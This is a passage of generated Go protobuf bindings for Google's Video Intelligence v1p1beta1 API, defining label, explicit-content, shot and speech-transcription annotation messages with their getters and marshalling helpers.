xxx_messageInfo_VideoSegment.Merge(m, src) } func (m *VideoSegment) XXX_Size() int { return xxx_messageInfo_VideoSegment.Size(m) } func (m *VideoSegment) XXX_DiscardUnknown() { xxx_messageInfo_VideoSegment.DiscardUnknown(m) } var xxx_messageInfo_VideoSegment proto.InternalMessageInfo func (m *VideoSegment) GetStartTimeOffset() *duration.Duration { if m != nil { return m.StartTimeOffset } return nil } func (m *VideoSegment) GetEndTimeOffset() *duration.Duration { if m != nil { return m.EndTimeOffset } return nil } // Video segment level annotation results for label detection. type LabelSegment struct { // Video segment where a label was detected. Segment *VideoSegment `protobuf:"bytes,1,opt,name=segment,proto3" json:"segment,omitempty"` // Confidence that the label is accurate. Range: [0, 1]. Confidence float32 `protobuf:"fixed32,2,opt,name=confidence,proto3" json:"confidence,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *LabelSegment) Reset() { *m = LabelSegment{} } func (m *LabelSegment) String() string { return proto.CompactTextString(m) } func (*LabelSegment) ProtoMessage() {} func (*LabelSegment) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{6} } func (m *LabelSegment) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_LabelSegment.Unmarshal(m, b) } func (m *LabelSegment) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_LabelSegment.Marshal(b, m, deterministic) } func (m *LabelSegment) XXX_Merge(src proto.Message) { xxx_messageInfo_LabelSegment.Merge(m, src) } func (m *LabelSegment) XXX_Size() int { return xxx_messageInfo_LabelSegment.Size(m) } func (m *LabelSegment) XXX_DiscardUnknown() { xxx_messageInfo_LabelSegment.DiscardUnknown(m) } var xxx_messageInfo_LabelSegment proto.InternalMessageInfo func (m *LabelSegment) GetSegment() *VideoSegment { if m != nil { return m.Segment } return nil } func (m *LabelSegment) GetConfidence() float32 { if m != nil { return m.Confidence } return 0 } // Video frame level annotation results for label detection. type LabelFrame struct { // Time-offset, relative to the beginning of the video, corresponding to the // video frame for this location. TimeOffset *duration.Duration `protobuf:"bytes,1,opt,name=time_offset,json=timeOffset,proto3" json:"time_offset,omitempty"` // Confidence that the label is accurate. Range: [0, 1]. Confidence float32 `protobuf:"fixed32,2,opt,name=confidence,proto3" json:"confidence,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *LabelFrame) Reset() { *m = LabelFrame{} } func (m *LabelFrame) String() string { return proto.CompactTextString(m) } func (*LabelFrame) ProtoMessage() {} func (*LabelFrame) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{7} } func (m *LabelFrame) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_LabelFrame.Unmarshal(m, b) } func (m *LabelFrame) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_LabelFrame.Marshal(b, m, deterministic) } func (m *LabelFrame) XXX_Merge(src proto.Message) { xxx_messageInfo_LabelFrame.Merge(m, src) } func (m *LabelFrame) XXX_Size() int { return xxx_messageInfo_LabelFrame.Size(m) } func (m *LabelFrame) XXX_DiscardUnknown() { xxx_messageInfo_LabelFrame.DiscardUnknown(m) } var xxx_messageInfo_LabelFrame proto.InternalMessageInfo func (m *LabelFrame) GetTimeOffset() *duration.Duration { if m != nil { return m.TimeOffset } return nil } func (m *LabelFrame) GetConfidence() float32 { if m != nil { return m.Confidence } return 0 } // Detected entity from video analysis. type Entity struct { // Opaque entity ID. Some IDs may be available in // [Google Knowledge Graph Search // API](https://developers.google.com/knowledge-graph/). EntityId string `protobuf:"bytes,1,opt,name=entity_id,json=entityId,proto3" json:"entity_id,omitempty"` // Textual description, e.g. `Fixed-gear bicycle`. Description string `protobuf:"bytes,2,opt,name=description,proto3" json:"description,omitempty"` // Language code for `description` in BCP-47 format. LanguageCode string `protobuf:"bytes,3,opt,name=language_code,json=languageCode,proto3" json:"language_code,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *Entity) Reset() { *m = Entity{} } func (m *Entity) String() string { return proto.CompactTextString(m) } func (*Entity) ProtoMessage() {} func (*Entity) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{8} } func (m *Entity) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_Entity.Unmarshal(m, b) } func (m *Entity) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_Entity.Marshal(b, m, deterministic) } func (m *Entity) XXX_Merge(src proto.Message) { xxx_messageInfo_Entity.Merge(m, src) } func (m *Entity) XXX_Size() int { return xxx_messageInfo_Entity.Size(m) } func (m *Entity) XXX_DiscardUnknown() { xxx_messageInfo_Entity.DiscardUnknown(m) } var xxx_messageInfo_Entity proto.InternalMessageInfo func (m *Entity) GetEntityId() string { if m != nil { return m.EntityId } return "" } func (m *Entity) GetDescription() string { if m != nil { return m.Description } return "" } func (m *Entity) GetLanguageCode() string { if m != nil { return m.LanguageCode } return "" } // Label annotation. type LabelAnnotation struct { // Detected entity. Entity *Entity `protobuf:"bytes,1,opt,name=entity,proto3" json:"entity,omitempty"` // Common categories for the detected entity. // E.g. when the label is `Terrier` the category is likely `dog`. And in some // cases there might be more than one categories e.g. `Terrier` could also be // a `pet`. CategoryEntities []*Entity `protobuf:"bytes,2,rep,name=category_entities,json=categoryEntities,proto3" json:"category_entities,omitempty"` // All video segments where a label was detected. Segments []*LabelSegment `protobuf:"bytes,3,rep,name=segments,proto3" json:"segments,omitempty"` // All video frames where a label was detected. Frames []*LabelFrame `protobuf:"bytes,4,rep,name=frames,proto3" json:"frames,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *LabelAnnotation) Reset() { *m = LabelAnnotation{} } func (m *LabelAnnotation) String() string { return proto.CompactTextString(m) } func (*LabelAnnotation) ProtoMessage() {} func (*LabelAnnotation) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{9} } func (m *LabelAnnotation) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_LabelAnnotation.Unmarshal(m, b) } func (m *LabelAnnotation) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_LabelAnnotation.Marshal(b, m, deterministic) } func (m *LabelAnnotation) XXX_Merge(src proto.Message) { xxx_messageInfo_LabelAnnotation.Merge(m, src) } func (m *LabelAnnotation) XXX_Size() int { return xxx_messageInfo_LabelAnnotation.Size(m) } func (m *LabelAnnotation) XXX_DiscardUnknown() { xxx_messageInfo_LabelAnnotation.DiscardUnknown(m) } var xxx_messageInfo_LabelAnnotation proto.InternalMessageInfo func (m *LabelAnnotation) GetEntity() *Entity { if m != nil { return m.Entity } return nil } func (m *LabelAnnotation) GetCategoryEntities() []*Entity { if m != nil { return m.CategoryEntities } return nil } func (m *LabelAnnotation) GetSegments() []*LabelSegment { if m != nil { return m.Segments } return nil } func (m *LabelAnnotation) GetFrames() []*LabelFrame { if m != nil { return m.Frames } return nil } // Video frame level annotation results for explicit content. type ExplicitContentFrame struct { // Time-offset, relative to the beginning of the video, corresponding to the // video frame for this location. TimeOffset *duration.Duration `protobuf:"bytes,1,opt,name=time_offset,json=timeOffset,proto3" json:"time_offset,omitempty"` // Likelihood of the pornography content.. PornographyLikelihood Likelihood `protobuf:"varint,2,opt,name=pornography_likelihood,json=pornographyLikelihood,proto3,enum=google.cloud.videointelligence.v1p1beta1.Likelihood" json:"pornography_likelihood,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *ExplicitContentFrame) Reset() { *m = ExplicitContentFrame{} } func (m *ExplicitContentFrame) String() string { return proto.CompactTextString(m) } func (*ExplicitContentFrame) ProtoMessage() {} func (*ExplicitContentFrame) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{10} } func (m *ExplicitContentFrame) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_ExplicitContentFrame.Unmarshal(m, b) } func (m *ExplicitContentFrame) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_ExplicitContentFrame.Marshal(b, m, deterministic) } func (m *ExplicitContentFrame) XXX_Merge(src proto.Message) { xxx_messageInfo_ExplicitContentFrame.Merge(m, src) } func (m *ExplicitContentFrame) XXX_Size() int { return xxx_messageInfo_ExplicitContentFrame.Size(m) } func (m *ExplicitContentFrame) XXX_DiscardUnknown() { xxx_messageInfo_ExplicitContentFrame.DiscardUnknown(m) } var xxx_messageInfo_ExplicitContentFrame proto.InternalMessageInfo func (m *ExplicitContentFrame) GetTimeOffset() *duration.Duration { if m != nil { return m.TimeOffset } return nil } func (m *ExplicitContentFrame) GetPornographyLikelihood() Likelihood { if m != nil { return m.PornographyLikelihood } return Likelihood_LIKELIHOOD_UNSPECIFIED } // Explicit content annotation (based on per-frame visual signals only). // If no explicit content has been detected in a frame, no annotations are // present for that frame. type ExplicitContentAnnotation struct { // All video frames where explicit content was detected. Frames []*ExplicitContentFrame `protobuf:"bytes,1,rep,name=frames,proto3" json:"frames,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *ExplicitContentAnnotation) Reset() { *m = ExplicitContentAnnotation{} } func (m *ExplicitContentAnnotation) String() string { return proto.CompactTextString(m) } func (*ExplicitContentAnnotation) ProtoMessage() {} func (*ExplicitContentAnnotation) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{11} } func (m *ExplicitContentAnnotation) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_ExplicitContentAnnotation.Unmarshal(m, b) } func (m *ExplicitContentAnnotation) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_ExplicitContentAnnotation.Marshal(b, m, deterministic) } func (m *ExplicitContentAnnotation) XXX_Merge(src proto.Message) { xxx_messageInfo_ExplicitContentAnnotation.Merge(m, src) } func (m *ExplicitContentAnnotation) XXX_Size() int { return xxx_messageInfo_ExplicitContentAnnotation.Size(m) } func (m *ExplicitContentAnnotation) XXX_DiscardUnknown() { xxx_messageInfo_ExplicitContentAnnotation.DiscardUnknown(m) } var xxx_messageInfo_ExplicitContentAnnotation proto.InternalMessageInfo func (m *ExplicitContentAnnotation) GetFrames() []*ExplicitContentFrame { if m != nil { return m.Frames } return nil } // Annotation results for a single video. type VideoAnnotationResults struct { // Output only. Video file location in // [Google Cloud Storage](https://cloud.google.com/storage/). InputUri string `protobuf:"bytes,1,opt,name=input_uri,json=inputUri,proto3" json:"input_uri,omitempty"` // Label annotations on video level or user specified segment level. // There is exactly one element for each unique label. SegmentLabelAnnotations []*LabelAnnotation `protobuf:"bytes,2,rep,name=segment_label_annotations,json=segmentLabelAnnotations,proto3" json:"segment_label_annotations,omitempty"` // Label annotations on shot level. // There is exactly one element for each unique label. ShotLabelAnnotations []*LabelAnnotation `protobuf:"bytes,3,rep,name=shot_label_annotations,json=shotLabelAnnotations,proto3" json:"shot_label_annotations,omitempty"` // Label annotations on frame level. // There is exactly one element for each unique label. FrameLabelAnnotations []*LabelAnnotation `protobuf:"bytes,4,rep,name=frame_label_annotations,json=frameLabelAnnotations,proto3" json:"frame_label_annotations,omitempty"` // Shot annotations. Each shot is represented as a video segment. ShotAnnotations []*VideoSegment `protobuf:"bytes,6,rep,name=shot_annotations,json=shotAnnotations,proto3" json:"shot_annotations,omitempty"` // Explicit content annotation. ExplicitAnnotation *ExplicitContentAnnotation `protobuf:"bytes,7,opt,name=explicit_annotation,json=explicitAnnotation,proto3" json:"explicit_annotation,omitempty"` // Speech transcription. SpeechTranscriptions []*SpeechTranscription `protobuf:"bytes,11,rep,name=speech_transcriptions,json=speechTranscriptions,proto3" json:"speech_transcriptions,omitempty"` // Output only. If set, indicates an error. Note that for a single // `AnnotateVideoRequest` some videos may succeed and some may fail. Error *status.Status `protobuf:"bytes,9,opt,name=error,proto3" json:"error,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *VideoAnnotationResults) Reset() { *m = VideoAnnotationResults{} } func (m *VideoAnnotationResults) String() string { return proto.CompactTextString(m) } func (*VideoAnnotationResults) ProtoMessage() {} func (*VideoAnnotationResults) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{12} } func (m *VideoAnnotationResults) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_VideoAnnotationResults.Unmarshal(m, b) } func (m *VideoAnnotationResults) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_VideoAnnotationResults.Marshal(b, m, deterministic) } func (m *VideoAnnotationResults) XXX_Merge(src proto.Message) { xxx_messageInfo_VideoAnnotationResults.Merge(m, src) } func (m *VideoAnnotationResults) XXX_Size() int { return xxx_messageInfo_VideoAnnotationResults.Size(m) } func (m *VideoAnnotationResults) XXX_DiscardUnknown() { xxx_messageInfo_VideoAnnotationResults.DiscardUnknown(m) } var xxx_messageInfo_VideoAnnotationResults proto.InternalMessageInfo func (m *VideoAnnotationResults) GetInputUri() string { if m != nil { return m.InputUri } return "" } func (m *VideoAnnotationResults) GetSegmentLabelAnnotations() []*LabelAnnotation { if m != nil { return m.SegmentLabelAnnotations } return nil } func (m *VideoAnnotationResults) GetShotLabelAnnotations() []*LabelAnnotation { if m != nil { return m.ShotLabelAnnotations } return nil } func (m *VideoAnnotationResults) GetFrameLabelAnnotations() []*LabelAnnotation { if m != nil { return m.FrameLabelAnnotations } return nil } func (m *VideoAnnotationResults) GetShotAnnotations() []*VideoSegment { if m != nil { return m.ShotAnnotations } return nil } func (m *VideoAnnotationResults) GetExplicitAnnotation() *ExplicitContentAnnotation { if m != nil { return m.ExplicitAnnotation } return nil } func (m *VideoAnnotationResults) GetSpeechTranscriptions() []*SpeechTranscription { if m != nil { return m.SpeechTranscriptions } return nil } func (m *VideoAnnotationResults) GetError() *status.Status { if m != nil { return m.Error } return nil } // Video annotation response. Included in the `response` // field of the `Operation` returned by the `GetOperation` // call of the `google::longrunning::Operations` service. type AnnotateVideoResponse struct { // Annotation results for all videos specified in `AnnotateVideoRequest`. AnnotationResults []*VideoAnnotationResults `protobuf:"bytes,1,rep,name=annotation_results,json=annotationResults,proto3" json:"annotation_results,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *AnnotateVideoResponse) Reset() { *m = AnnotateVideoResponse{} } func (m *AnnotateVideoResponse) String() string { return proto.CompactTextString(m) } func (*AnnotateVideoResponse) ProtoMessage() {} func (*AnnotateVideoResponse) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{13} } func (m *AnnotateVideoResponse) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_AnnotateVideoResponse.Unmarshal(m, b) } func (m *AnnotateVideoResponse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_AnnotateVideoResponse.Marshal(b, m, deterministic) } func (m *AnnotateVideoResponse) XXX_Merge(src proto.Message) { xxx_messageInfo_AnnotateVideoResponse.Merge(m, src) } func (m *AnnotateVideoResponse) XXX_Size() int { return xxx_messageInfo_AnnotateVideoResponse.Size(m) } func (m *AnnotateVideoResponse) XXX_DiscardUnknown() { xxx_messageInfo_AnnotateVideoResponse.DiscardUnknown(m) } var xxx_messageInfo_AnnotateVideoResponse proto.InternalMessageInfo func (m *AnnotateVideoResponse) GetAnnotationResults() []*VideoAnnotationResults { if m != nil { return m.AnnotationResults } return nil } // Annotation progress for a single video. type VideoAnnotationProgress struct { // Output only. Video file location in // [Google Cloud Storage](https://cloud.google.com/storage/). InputUri string `protobuf:"bytes,1,opt,name=input_uri,json=inputUri,proto3" json:"input_uri,omitempty"` // Output only. Approximate percentage processed thus far. Guaranteed to be // 100 when fully processed. ProgressPercent int32 `protobuf:"varint,2,opt,name=progress_percent,json=progressPercent,proto3" json:"progress_percent,omitempty"` // Output only. Time when the request was received. StartTime *timestamp.Timestamp `protobuf:"bytes,3,opt,name=start_time,json=startTime,proto3" json:"start_time,omitempty"` // Output only. Time of the most recent update. UpdateTime *timestamp.Timestamp `protobuf:"bytes,4,opt,name=update_time,json=updateTime,proto3" json:"update_time,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *VideoAnnotationProgress) Reset() { *m = VideoAnnotationProgress{} } func (m *VideoAnnotationProgress) String() string { return proto.CompactTextString(m) } func (*VideoAnnotationProgress) ProtoMessage() {} func (*VideoAnnotationProgress) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{14} } func (m *VideoAnnotationProgress) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_VideoAnnotationProgress.Unmarshal(m, b) } func (m *VideoAnnotationProgress) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_VideoAnnotationProgress.Marshal(b, m, deterministic) } func (m *VideoAnnotationProgress) XXX_Merge(src proto.Message) { xxx_messageInfo_VideoAnnotationProgress.Merge(m, src) } func (m *VideoAnnotationProgress) XXX_Size() int { return xxx_messageInfo_VideoAnnotationProgress.Size(m) } func (m *VideoAnnotationProgress) XXX_DiscardUnknown() { xxx_messageInfo_VideoAnnotationProgress.DiscardUnknown(m) } var xxx_messageInfo_VideoAnnotationProgress proto.InternalMessageInfo func (m *VideoAnnotationProgress) GetInputUri() string { if m != nil { return m.InputUri } return "" } func (m *VideoAnnotationProgress) GetProgressPercent() int32 { if m != nil { return m.ProgressPercent } return 0 } func (m *VideoAnnotationProgress) GetStartTime() *timestamp.Timestamp { if m != nil { return m.StartTime } return nil } func (m *VideoAnnotationProgress) GetUpdateTime() *timestamp.Timestamp { if m != nil { return m.UpdateTime } return nil } // Video annotation progress. Included in the `metadata` // field of the `Operation` returned by the `GetOperation` // call of the `google::longrunning::Operations` service. type AnnotateVideoProgress struct { // Progress metadata for all videos specified in `AnnotateVideoRequest`. AnnotationProgress []*VideoAnnotationProgress `protobuf:"bytes,1,rep,name=annotation_progress,json=annotationProgress,proto3" json:"annotation_progress,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *AnnotateVideoProgress) Reset() { *m = AnnotateVideoProgress{} } func (m *AnnotateVideoProgress) String() string { return proto.CompactTextString(m) } func (*AnnotateVideoProgress) ProtoMessage() {} func (*AnnotateVideoProgress) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{15} } func (m *AnnotateVideoProgress) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_AnnotateVideoProgress.Unmarshal(m, b) } func (m *AnnotateVideoProgress) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_AnnotateVideoProgress.Marshal(b, m, deterministic) } func (m *AnnotateVideoProgress) XXX_Merge(src proto.Message) { xxx_messageInfo_AnnotateVideoProgress.Merge(m, src) } func (m *AnnotateVideoProgress) XXX_Size() int { return xxx_messageInfo_AnnotateVideoProgress.Size(m) } func (m *AnnotateVideoProgress) XXX_DiscardUnknown() { xxx_messageInfo_AnnotateVideoProgress.DiscardUnknown(m) } var xxx_messageInfo_AnnotateVideoProgress proto.InternalMessageInfo func (m *AnnotateVideoProgress) GetAnnotationProgress() []*VideoAnnotationProgress { if m != nil { return m.AnnotationProgress } return nil } // Config for SPEECH_TRANSCRIPTION. type SpeechTranscriptionConfig struct { // *Required* The language of the supplied audio as a // [BCP-47](https://www.rfc-editor.org/rfc/bcp/bcp47.txt) language tag. // Example: "en-US". // See [Language Support](https://cloud.google.com/speech/docs/languages) // for a list of the currently supported language codes. LanguageCode string `protobuf:"bytes,1,opt,name=language_code,json=languageCode,proto3" json:"language_code,omitempty"` // *Optional* Maximum number of recognition hypotheses to be returned. // Specifically, the maximum number of `SpeechRecognitionAlternative` messages // within each `SpeechRecognitionResult`. The server may return fewer than // `max_alternatives`. Valid values are `0`-`30`. A value of `0` or `1` will // return a maximum of one. If omitted, will return a maximum of one. MaxAlternatives int32 `protobuf:"varint,2,opt,name=max_alternatives,json=maxAlternatives,proto3" json:"max_alternatives,omitempty"` // *Optional* If set to `true`, the server will attempt to filter out // profanities, replacing all but the initial character in each filtered word // with asterisks, e.g. "f***". If set to `false` or omitted, profanities // won't be filtered out. FilterProfanity bool `protobuf:"varint,3,opt,name=filter_profanity,json=filterProfanity,proto3" json:"filter_profanity,omitempty"` // *Optional* A means to provide context to assist the speech recognition. SpeechContexts []*SpeechContext `protobuf:"bytes,4,rep,name=speech_contexts,json=speechContexts,proto3" json:"speech_contexts,omitempty"` // *Optional* If 'true', adds punctuation to recognition result hypotheses. // This feature is only available in select languages. Setting this for // requests in other languages has no effect at all. The default 'false' value // does not add punctuation to result hypotheses. NOTE: "This is currently // offered as an experimental service, complimentary to all users. In the // future this may be exclusively available as a premium feature." EnableAutomaticPunctuation bool `protobuf:"varint,5,opt,name=enable_automatic_punctuation,json=enableAutomaticPunctuation,proto3" json:"enable_automatic_punctuation,omitempty"` // *Optional* For file formats, such as MXF or MKV, supporting multiple audio // tracks, specify up to two tracks. Default: track 0. AudioTracks []int32 `protobuf:"varint,6,rep,packed,name=audio_tracks,json=audioTracks,proto3" json:"audio_tracks,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *SpeechTranscriptionConfig) Reset() { *m = SpeechTranscriptionConfig{} } func (m *SpeechTranscriptionConfig) String() string { return proto.CompactTextString(m) } func (*SpeechTranscriptionConfig) ProtoMessage() {} func (*SpeechTranscriptionConfig) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{16} } func (m *SpeechTranscriptionConfig) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_SpeechTranscriptionConfig.Unmarshal(m, b) } func (m *SpeechTranscriptionConfig) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_SpeechTranscriptionConfig.Marshal(b, m, deterministic) } func (m *SpeechTranscriptionConfig) XXX_Merge(src proto.Message) { xxx_messageInfo_SpeechTranscriptionConfig.Merge(m, src) } func (m *SpeechTranscriptionConfig) XXX_Size() int { return xxx_messageInfo_SpeechTranscriptionConfig.Size(m) } func (m *SpeechTranscriptionConfig) XXX_DiscardUnknown() { xxx_messageInfo_SpeechTranscriptionConfig.DiscardUnknown(m) } var xxx_messageInfo_SpeechTranscriptionConfig proto.InternalMessageInfo func (m *SpeechTranscriptionConfig) GetLanguageCode() string { if m != nil { return m.LanguageCode } return "" } func (m *SpeechTranscriptionConfig) GetMaxAlternatives() int32 { if m != nil { return m.MaxAlternatives } return 0 } func (m *SpeechTranscriptionConfig) GetFilterProfanity() bool { if m != nil { return m.FilterProfanity } return false } func (m *SpeechTranscriptionConfig) GetSpeechContexts() []*SpeechContext { if m != nil { return m.SpeechContexts } return nil } func (m *SpeechTranscriptionConfig) GetEnableAutomaticPunctuation() bool { if m != nil { return m.EnableAutomaticPunctuation } return false } func (m *SpeechTranscriptionConfig) GetAudioTracks() []int32 { if m != nil { return m.AudioTracks } return nil } // Provides "hints" to the speech recognizer to favor specific words and phrases // in the results. type SpeechContext struct { // *Optional* A list of strings containing words and phrases "hints" so that // the speech recognition is more likely to recognize them. This can be used // to improve the accuracy for specific words and phrases, for example, if // specific commands are typically spoken by the user. This can also be used // to add additional words to the vocabulary of the recognizer. See // [usage limits](https://cloud.google.com/speech/limits#content). Phrases []string `protobuf:"bytes,1,rep,name=phrases,proto3" json:"phrases,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *SpeechContext) Reset() { *m = SpeechContext{} } func (m *SpeechContext) String() string { return proto.CompactTextString(m) } func (*SpeechContext) ProtoMessage() {} func (*SpeechContext) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{17} } func (m *SpeechContext) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_SpeechContext.Unmarshal(m, b) } func (m *SpeechContext) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_SpeechContext.Marshal(b, m, deterministic) } func (m *SpeechContext) XXX_Merge(src proto.Message) { xxx_messageInfo_SpeechContext.Merge(m, src) } func (m *SpeechContext) XXX_Size() int { return xxx_messageInfo_SpeechContext.Size(m) } func (m *SpeechContext) XXX_DiscardUnknown() { xxx_messageInfo_SpeechContext.DiscardUnknown(m) } var xxx_messageInfo_SpeechContext proto.InternalMessageInfo func (m *SpeechContext) GetPhrases() []string { if m != nil { return m.Phrases } return nil } // A speech recognition result corresponding to a portion of the audio. type SpeechTranscription struct { // Output only. May contain one or more recognition hypotheses (up to the // maximum specified in `max_alternatives`). // These alternatives are ordered in terms of accuracy, with the top (first) // alternative being the most probable, as ranked by the recognizer. Alternatives []*SpeechRecognitionAlternative `protobuf:"bytes,1,rep,name=alternatives,proto3" json:"alternatives,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *SpeechTranscription) Reset() { *m = SpeechTranscription{} } func (m *SpeechTranscription) String() string { return proto.CompactTextString(m) } func (*SpeechTranscription) ProtoMessage() {} func (*SpeechTranscription) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{18} } func (m *SpeechTranscription) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_SpeechTranscription.Unmarshal(m, b) } func (m *SpeechTranscription) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_SpeechTranscription.Marshal(b, m, deterministic) } func (m *SpeechTranscription) XXX_Merge(src proto.Message) { xxx_messageInfo_SpeechTranscription.Merge(m, src) } func (m *SpeechTranscription) XXX_Size() int { return xxx_messageInfo_SpeechTranscription.Size(m) } func (m *SpeechTranscription) XXX_DiscardUnknown() { xxx_messageInfo_SpeechTranscription.DiscardUnknown(m) } var xxx_messageInfo_SpeechTranscription proto.InternalMessageInfo func (m *SpeechTranscription) GetAlternatives() []*SpeechRecognitionAlternative { if m != nil { return m.Alternatives } return nil } // Alternative hypotheses (a.k.a. n-best list). type SpeechRecognitionAlternative struct { // Output only. Transcript text representing the words that the user spoke. Transcript string `protobuf:"bytes,1,opt,name=transcript,proto3" json:"transcript,omitempty"` // Output only. The confidence estimate between 0.0 and 1.0. A higher number // indicates an estimated greater likelihood that the recognized words are // correct. This field is typically provided only for the top hypothesis, and // only for `is_final=true` results. Clients should not rely on the // `confidence` field as it is not guaranteed to be accurate or consistent. // The default of 0.0 is a sentinel value indicating `confidence` was not set. Confidence float32 `protobuf:"fixed32,2,opt,name=confidence,proto3" json:"confidence,omitempty"` // Output only. A list of word-specific information for each recognized word. Words []*WordInfo `protobuf:"bytes,3,rep,name=words,proto3" json:"words,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *SpeechRecognitionAlternative) Reset() { *m = SpeechRecognitionAlternative{} } func (m *SpeechRecognitionAlternative) String() string { return proto.CompactTextString(m) } func (*SpeechRecognitionAlternative) ProtoMessage() {} func (*SpeechRecognitionAlternative) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{19} } func (m *SpeechRecognitionAlternative) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_SpeechRecognitionAlternative.Unmarshal(m, b) } func (m *SpeechRecognitionAlternative) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_SpeechRecognitionAlternative.Marshal(b, m, deterministic) } func (m *SpeechRecognitionAlternative) XXX_Merge(src proto.Message) { xxx_messageInfo_SpeechRecognitionAlternative.Merge(m, src) } func (m *SpeechRecognitionAlternative) XXX_Size() int { return xxx_messageInfo_SpeechRecognitionAlternative.Size(m) } func (m *SpeechRecognitionAlternative) XXX_DiscardUnknown() { xxx_messageInfo_SpeechRecognitionAlternative.DiscardUnknown(m) } var xxx_messageInfo_SpeechRecognitionAlternative proto.InternalMessageInfo func (m *SpeechRecognitionAlternative) GetTranscript() string { if m != nil { return m.Transcript } return "" } func (m *SpeechRecognitionAlternative) GetConfidence() float32 { if m != nil { return m.Confidence } return 0 } func (m *SpeechRecognitionAlternative) GetWords() []*WordInfo { if m != nil { return m.Words } return nil } // Word-specific information for recognized words. Word information is only // included in the response when certain request parameters are set, such // as `enable_word_time_offsets`. type WordInfo struct { // Output only. Time offset relative to the beginning of the audio, and // corresponding to the start of the spoken word. This field is only set if // `enable_word_time_offsets=true` and only in the top hypothesis. This is an // experimental feature and the accuracy of the time offset can vary. StartTime *duration.Duration `protobuf:"bytes,1,opt,name=start_time,json=startTime,proto3" json:"start_time,omitempty"` // Output only. Time offset relative to the beginning of the audio, and // corresponding to the end of the spoken word. This field is only set if // `enable_word_time_offsets=true` and only in the top hypothesis. This is an // experimental feature and the accuracy of the time offset can vary. EndTime *duration.Duration `protobuf:"bytes,2,opt,name=end_time,json=endTime,proto3" json:"end_time,omitempty"` // Output only. The word corresponding to this set of information. Word string `protobuf:"bytes,3,opt,name=word,proto3" 